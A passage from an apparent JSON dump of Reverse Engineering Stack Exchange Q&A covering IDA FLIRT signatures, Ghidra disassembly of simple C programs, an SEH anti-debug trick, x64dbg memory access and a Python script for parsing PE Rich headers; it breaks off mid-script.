        "Answer": "<p>Here are the required steps using <a href=\"https://reverseengineering.stackexchange.com/a/22202/23069\">Igor Skochinsky's answer</a>:</p>\n\n<ul>\n<li>Clone musl git repository:</li>\n</ul>\n\n\n\n<pre><code>git clone --depth=1 git://git.musl-libc.org/musl\n</code></pre>\n\n<ul>\n<li>Compile the code:</li>\n</ul>\n\n\n\n<pre><code>cd musl; ./configure; make -s -j2\n</code></pre>\n\n<ul>\n<li>Extract Flair tool from IDA SDK. Run <code>pelf</code> (ELF parser) with the musl static\nlibrary which is compiled in above step:</li>\n</ul>\n\n\n\n<pre><code>cd ./lib\n~/flair/bin/linux/pelf libc.a\n</code></pre>\n\n<p>The output will be something like below:</p>\n\n<pre><code>Fatal [/mnt/c/MyFiles/libc.a] (__init_tls.lo): Unknown relocation type 42 (offset in section=0x3a).\n</code></pre>\n\n<ul>\n<li>To fix the unsupported relocation error, run <code>pelf</code> with <code>-r</code> option:</li>\n</ul>\n\n\n\n<pre><code>./flair/bin/linux/pelf -r42:58:0 libc.a musl.pat\n</code></pre>\n\n<p>The <code>-r</code> option is specified as <code>-rN:O:L</code> where N is relocation type, mark as\nvariable L bytes at offset O from the relocation address. This creates a PAT file.</p>\n\n<ul>\n<li>Now run <code>sigmake</code> to create the Flair signature file:</li>\n</ul>\n\n\n\n<pre><code>./flair/bin/linux/sigmake -n musl musl.pat musl.sig\n</code></pre>\n\n<p>If the output does not show any warning then the SIG file is OK. But if there\nany collisions with the function signature the output will be something like below:</p>\n\n<pre><code>libc.sig: modules/leaves: 1550/1775, COLLISIONS: 41\n</code></pre>\n\n<p>To mitigate the error, remove comments from <code>musl.exc</code> collision file. Then run\nthe above <code>sigmake</code> command again. There will be a <code>musl.sig</code> file which can be\nimported in IDA Pro from File > Load File > FLIRT signature file.</p>\n\n<p>FLIRT signature <strong>depends on the C/C++ compiler</strong>. For my case it is clang. I found\nit in the exception handling function. There will be a static string like <code>CLNGC++\\0</code>.\nThe string can not be found in IDA's String Window. So, one has to find the\nexception handling function first. The trick is that the function is called whenever\na error value returns.</p>\n"
    },
    {
        "Id": "22183",
        "CreationDate": "2019-09-24T13:09:40.723",
        "Body": "<p>I am trying to figure out what is going on with my simple example programs, when I disassemble them with Ghidra. I am not sure whether this is some strange Ghidra behaviour or something that is set by default during compile time which produce a lot of assembly code, but I actively write only few LOC.</p>\n\n<p>Here is my sample C program created with VS Studio 2017:</p>\n\n<pre><code>void main()\n{\n    int x = 1;\n    int y = 2;\n    x = x + y;\n}\n</code></pre>\n\n<p>And this is what I get when I try to disassemble it with Ghidra:</p>\n\n<p><a href=\"https://i.stack.imgur.com/gDxiS.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/gDxiS.png\" alt=\"enter image description here\"></a></p>\n\n<p>The above screenshot is from the supposed 'entry' point of the program. But why is it so complex? I did a simple program to test how local variables are presented in Assembly and I get such output. Yet it should be few simple Assembly commands instead.</p>\n\n<p><a href=\"https://i.stack.imgur.com/sevCw.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/sevCw.png\" alt=\"enter image description here\"></a></p>\n\n<p>I am not sure what I am missing out here, so if someone could help me to try and understand this, I would be grateful.</p>\n",
        "Title": "Simple C program disassembled with Ghidra",
        "Tags": "|disassembly|assembly|c|ghidra|",
        "Answer": "<p>Program entry point != <code>main</code></p>\n\n<p>You're seeing disassembly of a few of the functions automatically linked to the program by the compiler toolchain that are responsible for setting up the <em>C Run-Time</em> (CRT) environment. </p>\n\n<p>From Microsoft's <a href=\"https://docs.microsoft.com/en-us/cpp/c-runtime-library/crt-initialization?view=vs-2019\" rel=\"nofollow noreferrer\">CRT Initialization</a>:</p>\n\n<blockquote>\n  <p>By default, the linker includes the CRT library, which provides its own startup code. This startup code initializes the CRT library, calls global initializers, and then calls the user-provided <code>main</code> function for console applications.</p>\n</blockquote>\n\n<p>From <a href=\"https://stackoverflow.com/questions/22934206/what-is-the-difference-between-main-and-maincrtstartup\">What is the difference between main and mainCRTStartup?</a>:</p>\n\n<blockquote>\n  <p><code>main()</code> is the entry point of your C or C++ program. <code>mainCRTStartup()</code> is the entrypoint of the C runtime library. It initializes the CRT, calls any static initializers that you wrote in your code, then calls your <code>main()</code> function.</p>\n</blockquote>\n\n<p>An exercise you may find interesting is compiling the following code (assuming VS Studio 2017 allows it) and then disassembling the resulting binary:</p>\n\n<p><code>int main(){}</code></p>\n\n<p>Here is the Linux version: <a href=\"http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html\" rel=\"nofollow noreferrer\">Linux x86 Program Start Up</a></p>\n"
    },
    {
        "Id": "22186",
        "CreationDate": "2019-09-25T08:01:44.647",
        "Body": "<p>I am having some troubles with my learning of Assembly and reverse engineering. Specifically, I am learning about Global vs Local variables. For Global variables I have managed to get insights in assembly that they are stored in memory address. For Local variables I expect them to be stored on stack (theory), but my simple C code below, when being disassembled in Ghidra, does not show anything in main function.</p>\n\n<p>C CODE:</p>\n\n<pre><code>void main()\n{\n    int x = 1;\n    int y = 2;\n    x = x + y;\n}\n</code></pre>\n\n<p>GHIDRA OUTPUT:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DcGBz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DcGBz.png\" alt=\"enter image description here\"></a></p>\n\n<p>Why can't I see anything in my Ghidra? It looks like an empty function to me, but clearly there should be some local variable declaration and then addition performed afterwards.</p>\n\n<p>I really apologize for opening threads here often, but this is the only source where I can get help for such things. On Reddit they do not allow posting questions and referred me here.</p>\n\n<p><strong>EDIT - 25.09.2019:</strong></p>\n\n<p>As per suggestion I have added some code to my existing C Code to see if it will show up now in Assembly:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid main()\n{\n    int x = 1;\n    int y = 2;\n\n    x = x + y;\n\n    printf(\"Rezultat = %d\\n\", x);\n\n}\n</code></pre>\n\n<p>For this I had to set entry point back to CRT initialize, otherwise I could not use stdio Library. This is now the result of main function in Ghidra:</p>\n\n<p><a href=\"https://i.stack.imgur.com/uOCeM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uOCeM.png\" alt=\"enter image description here\"></a></p>\n\n<p>Now I am able to see the PUSH instruction and the value 0x03. This is probably the resulting value of addition 1 + 2, but I again can't nowhere see where are the local variables initialized nor where the arithmetic operation is performed.</p>\n",
        "Title": "Local variables and addition not shown in Ghidra",
        "Tags": "|disassembly|assembly|c|ghidra|local-variables|",
        "Answer": "<p>you may either need to use the local variables or compile with optimizations disabled </p>\n\n<p>I assume you are using msvc on windows ??\nshown below is a snippet that was compiled on x64 for x64 in win 10 where you can clearly see the local vars being initialized and used</p>\n\n<pre><code>f:\\git\\usr\\bin\\ls -lg\ntotal 1\n-rw-r--r-- 1 197121 61 Sep 25 15:24 local.cpp\n\nf:\\git\\usr\\bin\\cat *\nint main (void)\n{\n        int x = 1;\n        int y = 2;\n        return x+y;\n}\ncl /Zi /W4 -GS /analyze /Od /nologo local.cpp /link /release /ENTRY:main /SUBSYSTEM:windows /FIXED\nlocal.cpp\n\nf:\\git\\usr\\bin\\ls -lg *.exe\n-rwxr-xr-x 1 197121 2560 Sep 25 15:32 local.exe\n</code></pre>\n\n<p>description of options given to compiler and linker</p>\n\n<pre><code>/Zi = build with debug info embedded in pdbfile \n/w4 build with highest possible warning level\n-GS disable stack cookie\n/analyze run code analysis on the src files \n/Od disable optimization\n/entry:main (no crt libs are sued so you need to set the entry point\n/subsystem:windows  no cmd or no crt or no input output this is not a console app \nso you need to specify which subsystem will this program work on\n/fixed disable relocations\n</code></pre>\n\n<p>opening the exe in ghidra and the function main copied as is </p>\n\n<pre><code>                             //\n                             // .text \n                             // ram: 140001000-140001022\n                             //\n                             **************************************************************\n                             *                          FUNCTION                          *\n                             **************************************************************\n                             int __fastcall main(int _Argc, char * * _Argv, char * * \n             int               EAX:4          &lt;RETURN&gt;\n             int               ECX:4          _Argc\n             char * *          RDX:8          _Argv\n             char * *          R8:8           _Env\n             undefined4        Stack[-0x14]:4 local_14                                XREF[2]:     140001004(W), \n                                                                                                   140001016(R)  \n             undefined4        Stack[-0x18]:4 local_18                                XREF[2]:     14000100c(*), \n                                                                                                   140001013(*)  \n\n|||||||||||||||||||| FUNCTION |||||||||||||||||||||||||||||||\n                             Symbol Ref: main\n                             entry                                           XREF[4]:     Entry Point(*), 1400000e0(*), \n                             .text$mn                                                     1400000e4(*), [more]\n                             main\n       140001000 48 83 ec 18     SUB        RSP,0x18\n       140001004 c7 44 24        MOV        dword ptr [RSP + local_14],0x1\n                 04 01 00 \n                 00 00\n       14000100c c7 04 24        MOV        dword ptr [RSP]=&gt;local_18,0x2\n                 02 00 00 00\n       140001013 8b 04 24        MOV        EAX,dword ptr [RSP]=&gt;local_18\n       140001016 8b 4c 24 04     MOV        _Argc,dword ptr [RSP + local_14]\n       14000101a 03 c8           ADD        _Argc,EAX\n       14000101c 8b c1           MOV        EAX,_Argc\n       14000101e 48 83 c4 18     ADD        RSP,0x18\n       140001022 c3              RET\n                             ********** main Exit ********** \n</code></pre>\n\n<p>if you want to disable optimization for specific functions only and not wholesale with /Od  you can use #pragmas see the screen shot below which shows vscode / vsdevcmdprompt / compilation all in one </p>\n\n<p>replaced the image with a  gif that does a  \"show and show\" show</p>\n\n<p><a href=\"https://i.stack.imgur.com/GEeRu.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GEeRu.gif\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "22191",
        "CreationDate": "2019-09-26T03:14:24.487",
        "Body": "<p>I've been a bit stumped recently on my decomp work. I've not dealt with C in depth nor have I dealt with IDA's pseudocode system very much at all. I understand asm, but because of how IDA merges instructions together in its pseudocode system, I'm having some trouble finding out how this translates.</p>\n\n<p>In my pseudocode I have the following line:</p>\n\n\n\n<pre><code>// v1 is a pointer to RDI (stored as a single in pseudocode)\n// v7 is a pointer to R8 (stored as a single in pseudocode)\n// v10 is XMM1 (single)\n\nv1[1818] = (float)(v10 * (float)(*v7 - v7[1])) + v7[1];\n</code></pre>\n\n<p>I'm having trouble understanding what the square brackets do. I was thinking that it was an offset (e.g. \"set the data at the location of v1 in memory + 1818i64 bytes to...\") but the asm doesn't match up with that addr. What's the difference between setting <code>v1 =</code> vs setting <code>v1[1818] =</code>?</p>\n",
        "Title": "What do square brackets do in IDA's pseudocode representation?",
        "Tags": "|ida|assembly|x86-64|",
        "Answer": "<p>I've found out how this works. I had the right idea, but I had made the mistake of assuming it was <em>n</em> bytes ahead, failing to factor in the size of the actual value at hand.</p>\n\n<p>Since the specific type of <code>v1</code> was a single, this means I had to multiply the <code>1818</code> by <code>4</code> bytes. Looking at the corresponding ASM, <code>movss   dword ptr [rdi+1C68h], xmm1</code>, I can see that <code>rdi+1C68h</code> comes out to <code>v1</code> (rdi) + <code>7272i64</code> or <code>rdi+1C68h</code> - it checks out.</p>\n"
    },
    {
        "Id": "22200",
        "CreationDate": "2019-09-27T18:18:41.057",
        "Body": "<p>I'm trying to understand the mechanism of SEH (Structured Exception Handling). I understood how it was recorded and saved in FS: [0] on the previous three instructions. But why add interrupt 1 (step by step): I can not understand what the report is.</p>\n\n<pre><code>push handler\npush FS:[0]\nmov  FS:[0], esp\nint  1\n</code></pre>\n",
        "Title": "I'm trying to understand the SEH mechanism",
        "Tags": "|windows|x86|assembly|pe32|",
        "Answer": "<p><code>int 1</code> is <em>not</em> a part of the SEH setup, that's done by the third instruction. However, <code>int</code> is intercepted by Windows and is translated into an <strong>exception</strong> which is then dispatched to the handler that has been set up by the previous instructions. So basically here it serves as a sort of \"invoke handler\" macro. </p>\n\n<p>In practice, any privileged instruction (e.g. <code>hlt</code> or <code>out</code>) could have been used as well, but the \"nice\" thing about <code>int 1</code> is that it produces a single step exception which is used by the debugging API to report single-step events to the debugger during normal debugging. If the debugger does not track its own actions properly, it may consider this exception as one originating from the debugging activity (single-stepping through the code), handle it as a normal single step and <em>do not pass</em> the exception to the debuggee. This means the handler code won't be executed and the debugger or tracer could be <em>detected</em> by the code.</p>\n"
    },
    {
        "Id": "22201",
        "CreationDate": "2019-09-27T20:47:11.227",
        "Body": "<p>This functionality is available in Cheat Engine where the debugger won't be attached until you set a breakpoint or explicitly ask for the debugger to be attached. I've looked everywhere and couldn't find anything similar for x64dbg. It's very useful when you want to view or modify memory of the process which employs anti-debug measures.</p>\n",
        "Title": "Is it possible to view and modify process memory without attaching the debugger in x64dbg?",
        "Tags": "|x64dbg|",
        "Answer": "<p>Yes, this is possible. You can replace TitanEngine.dll with <a href=\"https://github.com/mrexodia/StaticEngine\" rel=\"nofollow noreferrer\">https://github.com/mrexodia/StaticEngine</a> and \u201cattach\u201d to a running process.</p>\n\n<p>There is however no way to switch debugging modes and breakpoints etc will simply not work.</p>\n"
    },
    {
        "Id": "22207",
        "CreationDate": "2019-09-28T19:14:53.493",
        "Body": "<p>Hi I am sort of new to ida pro even though I've used a lot but when I push a function where a 0 used to be it gives me sp-analysis failure\n<a href=\"https://i.stack.imgur.com/HaOpl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HaOpl.png\" alt=\"enter image description here\"></a></p>\n\n<p>I've searched for a fix for a while to no avail\nhelp would be much appreciated.</p>\n",
        "Title": "Error when changing push 0 to push function",
        "Tags": "|ida|assembly|",
        "Answer": "<p>Turn on bytes. You'll see you don't have enough space. You're going to have to figure out where to steal some. Wherever that is, via jump short, you need a couple more bytes. </p>\n"
    },
    {
        "Id": "22216",
        "CreationDate": "2019-09-30T15:04:11.573",
        "Body": "<p>I'm a RE beginner and I decided to start writing my own simple code for practice.</p>\n\n<p>I wrote a simple code which uses a winAPI function called CreateProcess to start a calc.exe, I've wrote it in C and compiled it using with the official Microsoft SDK with visual studio 2019 as a Release version.</p>\n\n<p>The exe file works with Windows 7 and Windows 10 without any issue.</p>\n\n<p>I searched through IDA and went to the start function which should point where the main user code is, so here are my problems:</p>\n\n<ol>\n<li>The start function's analysis has failed and I have failed to find where the code redirects to the CreateProcess function which I used in the code, this is how it looks:</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/tp0mC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tp0mC.png\" alt=\"enter image description here\"></a></p>\n\n<ol start=\"2\">\n<li>When I look up \"calc.exe\", I find it in a different section, where I'm not used to see it (as compared to the Practical Malware Analysis book examples).\nThis is how it looks:</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/n4bP5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n4bP5.png\" alt=\"Where I found my user code to be in IDA pro\"></a></p>\n\n<p>I have IDA pro 6.8 installed.</p>\n\n<p>This is how the original code looks, the main function only contains a call to the Create() function:</p>\n\n<pre><code>void Create()\n{\n    STARTUPINFO si;\n    PROCESS_INFORMATION pi;\n\n    SecureZeroMemory(&amp;si, sizeof(si));\n    si.cb = sizeof(si);\n    SecureZeroMemory(&amp;pi, sizeof(pi));\n\n    if (!CreateProcess(L\"C:\\\\Windows\\\\system32\\\\calc.exe\", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &amp;si, &amp;pi))\n    {\n        printf(\"failed, error: %d\", GetLastError());\n    }\n    else {\n        printf(\"Process successfuly started!\");\n    }\n}\n</code></pre>\n\n<p><strong>EDIT:</strong></p>\n\n<p>I added to linked PDB file that was in the Release folder and IDA works great and it immediately detects the main function!</p>\n\n<p>But I say to myself, if I'm a malware analyst, I will get the EXE file without any PDB file, so what am I to do?</p>\n",
        "Title": "Unable to properly analyze a very simple C-compiled program",
        "Tags": "|ida|disassembly|malware|c|",
        "Answer": "<p>Eventually, I analyzed how the program looks with all the symbols from the PDB file so that I'll know the actual Main function address.</p>\n\n<p>After finding that out, I just searched the file without the PDB to understand what path do I need to take in order to get to the main function from the start function that the MSVC creates.</p>\n\n<p>This solves my problem for future programs compiled with the MSVC aswell.</p>\n"
    },
    {
        "Id": "22218",
        "CreationDate": "2019-09-30T16:50:30.227",
        "Body": "<p>I heard that I can use look at the RICH HEADER to find out what compiler was used. I looked at the Rich header and I cannot seem to make sense of this.</p>\n\n<p>Can I find the Compiler used for this program and is there a tool to decode this?</p>\n\n<p>Here is the Rich header and I want to know what compiler was used for this. \nHEX</p>\n\n<pre><code>f1 0b 38 2f b5 6a 56 7c b5 6a 56 7c b5 6a 56 7c\n26 24 ce 7c b4 6a 56 7c bc 12 c3 7c b7 6a 56 7c\n00 f4 b6 7c b3 6a 56 7c 00 f4 89 7c b4 6a 56 7c\nbc 12 c5 7c ae 6a 56 7c b5 6a 57 7c 10 6a 56 7c\nae f7 f9 7c af 6a 56 7c ae f7 cd 7c b4 6a 56 7c\nae f7 cb 7c b4 6a 56 7c 52 69 63 68 b5 6a 56 7c\n</code></pre>\n\n<p>ASCII</p>\n\n<pre><code>..8/.jV|.jV|.jV|\n&amp;$.|.jV|...|.jV|\n...|.jV|...|.jV|\n...|.jV|.jW|.jV|\n...|.jV|...|.jV|\n...|.jV|Rich.jV|\n</code></pre>\n\n<p>In case I missed something in selecting the header here is the MZ + DOS and Rich</p>\n\n<pre><code>4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00\nb8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00\n0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68\n69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f\n74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20\n6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00\nf1 0b 38 2f b5 6a 56 7c b5 6a 56 7c b5 6a 56 7c\n26 24 ce 7c b4 6a 56 7c bc 12 c3 7c b7 6a 56 7c\n00 f4 b6 7c b3 6a 56 7c 00 f4 89 7c b4 6a 56 7c\nbc 12 c5 7c ae 6a 56 7c b5 6a 57 7c 10 6a 56 7c\nae f7 f9 7c af 6a 56 7c ae f7 cd 7c b4 6a 56 7c\nae f7 cb 7c b4 6a 56 7c 52 69 63 68 b5 6a 56 7c\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n</code></pre>\n",
        "Title": "Can I use the Rich Header To Find out Compiler and Linker used?",
        "Tags": "|pe|",
        "Answer": "<p>Yes, you can (assuming the info is not faked). I made <a href=\"https://gist.github.com/skochinsky/07c8e95e33d9429d81a75622b5d24c8b\" rel=\"nofollow noreferrer\">a script</a> which includes some of the common compiler/linker identifiers, and evening for missing ones you still have the build number from which you should be able to track down the specific Visual Studio version. </p>\n\n<p><strong>Script in case if it is lost</strong></p>\n\n<pre><code># based on code from http://trendystephen.blogspot.be/2008/01/rich-header.html\nimport sys\nimport struct\n\n# I'm trying not to bury the magic number...\nCHECKSUM_MASK = 0x536e6144 # DanS (actuall SnaD)\nRICH_TEXT = 'Rich'\nRICH_TEXT_LENGTH = len(RICH_TEXT)\nPE_START = 0x3c\nPE_FIELD_LENGTH = 4\n\n# most of values up to AliasObj900 are from old MSVC leak with private PDBs; \n# rest is from guesses/observations\nPRODID_MAP = {\n  0: \"Unknown\",\n  1: \"Import0\",\n  2: \"Linker510\",\n  3: \"Cvtomf510\",\n  4: \"Linker600\",\n  5: \"Cvtomf600\",\n  6: \"Cvtres500\",\n  7: \"Utc11_Basic\",\n  8: \"Utc11_C\",\n  9: \"Utc12_Basic\",\n  10: \"Utc12_C\",\n  11: \"Utc12_CPP\",\n  12: \"AliasObj60\",\n  13: \"VisualBasic60\",\n  14: \"Masm613\",\n  15: \"Masm710\",\n  16: \"Linker511\",\n  17: \"Cvtomf511\",\n  18: \"Masm614\",\n  19: \"Linker512\",\n  20: \"Cvtomf512\",\n  21: \"Utc12_C_Std\",\n  22: \"Utc12_CPP_Std\",\n  23: \"Utc12_C_Book\",\n  24: \"Utc12_CPP_Book\",\n  25: \"Implib700\",\n  26: \"Cvtomf700\",\n  27: \"Utc13_Basic\",\n  28: \"Utc13_C\",\n  29: \"Utc13_CPP\",\n  30: \"Linker610\",\n  31: \"Cvtomf610\",\n  32: \"Linker601\",\n  33: \"Cvtomf601\",\n  34: \"Utc12_1_Basic\",\n  35: \"Utc12_1_C\",\n  36: \"Utc12_1_CPP\",\n  37: \"Linker620\",\n  38: \"Cvtomf620\",\n  39: \"AliasObj70\",\n  40: \"Linker621\",\n  41: \"Cvtomf621\",\n  42: \"Masm615\",\n  43: \"Utc13_LTCG_C\",\n  44: \"Utc13_LTCG_CPP\",\n  45: \"Masm620\",\n  46: \"ILAsm100\",\n  47: \"Utc12_2_Basic\",\n  48: \"Utc12_2_C\",\n  49: \"Utc12_2_CPP\",\n  50: \"Utc12_2_C_Std\",\n  51: \"Utc12_2_CPP_Std\",\n  52: \"Utc12_2_C_Book\",\n  53: \"Utc12_2_CPP_Book\",\n  54: \"Implib622\",\n  55: \"Cvtomf622\",\n  56: \"Cvtres501\",\n  57: \"Utc13_C_Std\",\n  58: \"Utc13_CPP_Std\",\n  59: \"Cvtpgd1300\",\n  60: \"Linker622\",\n  61: \"Linker700\",\n  62: \"Export622\",\n  63: \"Export700\",\n  64: \"Masm700\",\n  65: \"Utc13_POGO_I_C\",\n  66: \"Utc13_POGO_I_CPP\",\n  67: \"Utc13_POGO_O_C\",\n  68: \"Utc13_POGO_O_CPP\",\n  69: \"Cvtres700\",\n  70: \"Cvtres710p\",\n  71: \"Linker710p\",\n  72: \"Cvtomf710p\",\n  73: \"Export710p\",\n  74: \"Implib710p\",\n  75: \"Masm710p\",\n  76: \"Utc1310p_C\",\n  77: \"Utc1310p_CPP\",\n  78: \"Utc1310p_C_Std\",\n  79: \"Utc1310p_CPP_Std\",\n  80: \"Utc1310p_LTCG_C\",\n  81: \"Utc1310p_LTCG_CPP\",\n  82: \"Utc1310p_POGO_I_C\",\n  83: \"Utc1310p_POGO_I_CPP\",\n  84: \"Utc1310p_POGO_O_C\",\n  85: \"Utc1310p_POGO_O_CPP\",\n  86: \"Linker624\",\n  87: \"Cvtomf624\",\n  88: \"Export624\",\n  89: \"Implib624\",\n  90: \"Linker710\",\n  91: \"Cvtomf710\",\n  92: \"Export710\",\n  93: \"Implib710\",\n  94: \"Cvtres710\",\n  95: \"Utc1310_C\",\n  96: \"Utc1310_CPP\",\n  97: \"Utc1310_C_Std\",\n  98: \"Utc1310_CPP_Std\",\n  99: \"Utc1310_LTCG_C\",\n  100: \"Utc1310_LTCG_CPP\",\n  101: \"Utc1310_POGO_I_C\",\n  102: \"Utc1310_POGO_I_CPP\",\n  103: \"Utc1310_POGO_O_C\",\n  104: \"Utc1310_POGO_O_CPP\",\n  105: \"AliasObj710\",\n  106: \"AliasObj710p\",\n  107: \"Cvtpgd1310\",\n  108: \"Cvtpgd1310p\",\n  109: \"Utc1400_C\",\n  110: \"Utc1400_CPP\",\n  111: \"Utc1400_C_Std\",\n  112: \"Utc1400_CPP_Std\",\n  113: \"Utc1400_LTCG_C\",\n  114: \"Utc1400_LTCG_CPP\",\n  115: \"Utc1400_POGO_I_C\",\n  116: \"Utc1400_POGO_I_CPP\",\n  117: \"Utc1400_POGO_O_C\",\n  118: \"Utc1400_POGO_O_CPP\",\n  119: \"Cvtpgd1400\",\n  120: \"Linker800\",\n  121: \"Cvtomf800\",\n  122: \"Export800\",\n  123: \"Implib800\",\n  124: \"Cvtres800\",\n  125: \"Masm800\",\n  126: \"AliasObj800\",\n  127: \"PhoenixPrerelease\",\n  128: \"Utc1400_CVTCIL_C\",\n  129: \"Utc1400_CVTCIL_CPP\",\n  130: \"Utc1400_LTCG_MSIL\",\n  131: \"Utc1500_C\",\n  132: \"Utc1500_CPP\",\n  133: \"Utc1500_C_Std\",\n  134: \"Utc1500_CPP_Std\",\n  135: \"Utc1500_CVTCIL_C\",\n  136: \"Utc1500_CVTCIL_CPP\",\n  137: \"Utc1500_LTCG_C\",\n  138: \"Utc1500_LTCG_CPP\",\n  139: \"Utc1500_LTCG_MSIL\",\n  140: \"Utc1500_POGO_I_C\",\n  141: \"Utc1500_POGO_I_CPP\",\n  142: \"Utc1500_POGO_O_C\",\n  143: \"Utc1500_POGO_O_CPP\",\n\n  144: \"Cvtpgd1500\",\n  145: \"Linker900\",\n  146: \"Export900\",\n  147: \"Implib900\",\n  148: \"Cvtres900\",\n  149: \"Masm900\",\n  150: \"AliasObj900\",\n  151: \"Resource900\",\n\n  152: \"AliasObj1000\",\n  154: \"Cvtres1000\",\n  155: \"Export1000\",\n  156: \"Implib1000\",\n  157: \"Linker1000\",\n  158: \"Masm1000\",\n\n  170: \"Utc1600_C\",\n  171: \"Utc1600_CPP\",\n  172: \"Utc1600_CVTCIL_C\",\n  173: \"Utc1600_CVTCIL_CPP\",\n  174: \"Utc1600_LTCG_C \",\n  175: \"Utc1600_LTCG_CPP\",\n  176: \"Utc1600_LTCG_MSIL\",\n  177: \"Utc1600_POGO_I_C\",\n  178: \"Utc1600_POGO_I_CPP\",\n  179: \"Utc1600_POGO_O_C\",\n  180: \"Utc1600_POGO_O_CPP\",\n\n  # vvv\n  183: \"Linker1010\",\n  184: \"Export1010\",\n  185: \"Implib1010\",\n  186: \"Cvtres1010\",\n  187: \"Masm1010\",\n  188: \"AliasObj1010\",\n  # ^^^\n\n  199: \"AliasObj1100\",\n  201: \"Cvtres1100\",\n  202: \"Export1100\",\n  203: \"Implib1100\",\n  204: \"Linker1100\",\n  205: \"Masm1100\",\n\n  206: \"Utc1700_C\",\n  207: \"Utc1700_CPP\",\n  208: \"Utc1700_CVTCIL_C\",\n  209: \"Utc1700_CVTCIL_CPP\",\n  210: \"Utc1700_LTCG_C \",\n  211: \"Utc1700_LTCG_CPP\",\n  212: \"Utc1700_LTCG_MSIL\",\n  213: \"Utc1700_POGO_I_C\",\n  214: \"Utc1700_POGO_I_CPP\",\n  215: \"Utc1700_POGO_O_C\",\n  216: \"Utc1700_POGO_O_CPP\",\n}\n\n##\n# A convenient exception to raise if the Rich Header doesn't exist.\nclass RichHeaderNotFoundException(Exception):\n    def __init__(self):\n        Exception.__init__(self, \"Rich footer does not appear to exist\")\n\n##\n# Locate the body of the data that contains the rich header This will be\n# (roughly) between 0x3c and the beginning of the PE header, but the entire\n# thing up to the last checksum will be needed in order to verify the header.\ndef get_file_header(file_name):\n    f = open(file_name,'rb')\n\n    #start with 0x3c\n    f.seek(PE_START)\n    data = f.read(PE_FIELD_LENGTH)\n\n    if data == '': #File is empty, bail\n        raise RichHeaderNotFoundException()\n    end = struct.unpack('&lt;L',data)[0] # get the value at 0x3c\n\n    f.seek(0)\n    data = f.read( end ) # read until that value is reached\n    f.close()\n\n    return data\n\n##\n# This class assists in parsing the Rich Header from PE Files.\n# The Rich Header is the section in the PE file following the dos stub but\n# preceding the lfa_new header which is inserted by link.exe when building with\n# the Microsoft Compilers.  The Rich Heder contains the following:\n# &lt;pre&gt;\n# marker, checksum, checksum, checksum, \n# R_compid_i, R_occurrence_i, \n# R_compid_i+1, R_occurrence_i+1, ...  \n# R_compid_N-1, R_occurrence_N-1, Rich, marker\n#\n# marker = checksum XOR 0x536e6144\n# R_compid_i is the ith compid XORed with the checksum\n# R_occurrence_i is the ith occurrence  XORed with the checksum\n# Rich = the text string 'Rich'\n# The checksum is the sum of all the PE Header values rotated by their\n# offset and the sum of all compids rotated by their occurrence counts.  \n# &lt;/pre&gt;\n# @see _validate_checksum code for checksum calculation\nclass ParsedRichHeader:\n    ##\n    # Creates a ParsedRichHeader from the specified PE File.\n    # @throws RichHeaderNotFoundException if the file does not contain a rich header\n    # @param file_name The PE File to be parsed\n    def __init__(self, file_name):\n        ## The file that was parsed\n        self.file_name = file_name\n        self._parse( file_name )\n\n    ##\n    # Used internally to parse the PE File and extract Rich Header data.\n    # Initializes self.compids and self.valid_checksum. \n    # @param file_name The PE File to be parsed\n    # @throws RichHeaderNotFoundException if the file does not contain a rich header\n    def _parse(self,file_name):\n        #make sure there is a header:\n        data = get_file_header( file_name )\n\n        compid_end_index = data.find(RICH_TEXT) \n        if compid_end_index == -1:\n            raise RichHeaderNotFoundException()\n\n        rich_offset = compid_end_index + RICH_TEXT_LENGTH\n\n        checksum_text = data[rich_offset:rich_offset+4] \n        checksum_value = struct.unpack('&lt;L', checksum_text)[0]\n        #start marker denotes the beginning of the rich header\n        start_marker = struct.pack('&lt;LLLL',checksum_value ^ CHECKSUM_MASK, checksum_value, checksum_value, checksum_value )[0] \n\n        rich_header_start = data.find(start_marker)\n        if rich_header_start == -1:\n            raise RichHeaderNotFoundException()\n\n        compid_start_index = rich_header_start + 16 # move past the marker and 3 checksums\n\n        compids = dict()\n        for i in range(compid_start_index, compid_end_index, 8):\n            compid = struct.unpack('&lt;L',data[i:i+4])[0] ^ checksum_value\n            count = struct.unpack('&lt;L',data[i+4:i+8])[0] ^ checksum_value\n            compids[compid]=count\n\n        ## A dictionary of compids and their occurrence counts\n        self.compids = compids\n        ## A value for later reference to see if the checksum was valid\n        self.valid_checksum = self._validate_checksum( data, rich_header_start, checksum_value )\n\n    ##\n    # Compute the checksum value and see if it matches the checksum stored in\n    # the Rich Header.\n    # The checksum is the sum of all the PE Header values rotated by their\n    # offset and the sum of all compids rotated by their occurrence counts\n    # @param data A blob of binary data that corresponds to the PE Header data\n    # @param rich_header_start The offset to marker, checksum, checksum, checksum\n    # @returns True if the checksum is valid, false otherwise\n    def _validate_checksum(self, data, rich_header_start, checksum):\n\n        #initialize the checksum offset at which the rich header is located\n        cksum = rich_header_start\n\n        #add the value from the pe header after rotating the value by its offset in the pe header\n        for i in range(0,rich_header_start):\n            if PE_START &lt;= i &lt;= 